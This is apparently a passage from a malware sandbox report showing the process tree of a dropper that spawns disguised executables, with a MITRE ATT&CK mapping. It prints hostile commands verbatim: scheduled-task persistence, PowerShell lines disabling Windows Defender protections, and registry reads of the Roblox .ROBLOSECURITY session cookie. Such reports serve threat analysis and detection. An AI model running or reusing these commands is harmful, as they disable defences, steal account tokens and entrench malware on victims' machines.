        "schtasks" /create /tn "SteamClient" /sc ONLOGON /tr "C:\Program Files\%appdata%\Steam.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1812

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:3744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1592

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1856

C:\Users\Admin\Downloads\background_script.exe
"C:\Users\Admin\Downloads\background_script.exe"
1⤵
- Executes dropped EXE
PID:3212
- C:\Users\Admin\Downloads\background_script.exe
  "C:\Users\Admin\Downloads\background_script.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic bios get serialnumber"
    3⤵
    PID:1028
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get serialnumber
      4⤵
      PID:4392
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /f /tn MyBackgroundScript /tr "\"C:\Users\Admin\AppData\Local\Temp\_MEI32122\pythonw.exe\" \"C:\Users\Admin\AppData\Roaming\MyBackgroundScript\background_script.exe\"" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3920
- - C:\Users\Admin\Downloads\Backround.exe
    "C:\Users\Admin\Downloads\Backround.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3928
  - - C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe
      "C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe"
      4⤵
      Executes dropped EXE
      PID:2584
    - - C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe"
        5⤵
        
        PID:2956
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        6⤵
        
        PID:764
  - - C:\Users\Admin\AppData\Local\Temp\Skype.exe
      "C:\Users\Admin\AppData\Local\Temp\Skype.exe"
      4⤵
      Executes dropped EXE
      PID:4328
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:3340
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Skype.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4220
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3636
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        
        PID:3588
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        5⤵
        
        PID:1172
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        5⤵
        
        PID:2916
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:3312
  - - C:\Users\Admin\AppData\Local\Temp\Steam.exe
      "C:\Users\Admin\AppData\Local\Temp\Steam.exe"
      4⤵
      Executes dropped EXE
      PID:3940

C:\Users\Admin\Downloads\background_script.exe
"C:\Users\Admin\Downloads\background_script.exe"
1⤵
- Executes dropped EXE
PID:452
- C:\Users\Admin\Downloads\background_script.exe
  "C:\Users\Admin\Downloads\background_script.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:1980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic bios get serialnumber"
    3⤵
    PID:1228
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get serialnumber
      4⤵
      PID:2932
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /f /tn MyBackgroundScript /tr "\"C:\Users\Admin\AppData\Local\Temp\_MEI4522\pythonw.exe\" \"C:\Users\Admin\AppData\Roaming\MyBackgroundScript\background_script.exe\"" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1640
- - C:\Users\Admin\Downloads\Backround.exe
    "C:\Users\Admin\Downloads\Backround.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4932
  - - C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe
      "C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe"
      4⤵
      Executes dropped EXE
      PID:4036
    - - C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftTeams.exe"
        5⤵
        
        PID:5068
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        6⤵
        
        PID:1480
  - - C:\Users\Admin\AppData\Local\Temp\Skype.exe
      "C:\Users\Admin\AppData\Local\Temp\Skype.exe"
      4⤵
      Executes dropped EXE
      PID:4024
  - - C:\Users\Admin\AppData\Local\Temp\Steam.exe
      "C:\Users\Admin\AppData\Local\Temp\Steam.exe"
      4⤵
      PID:3052

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery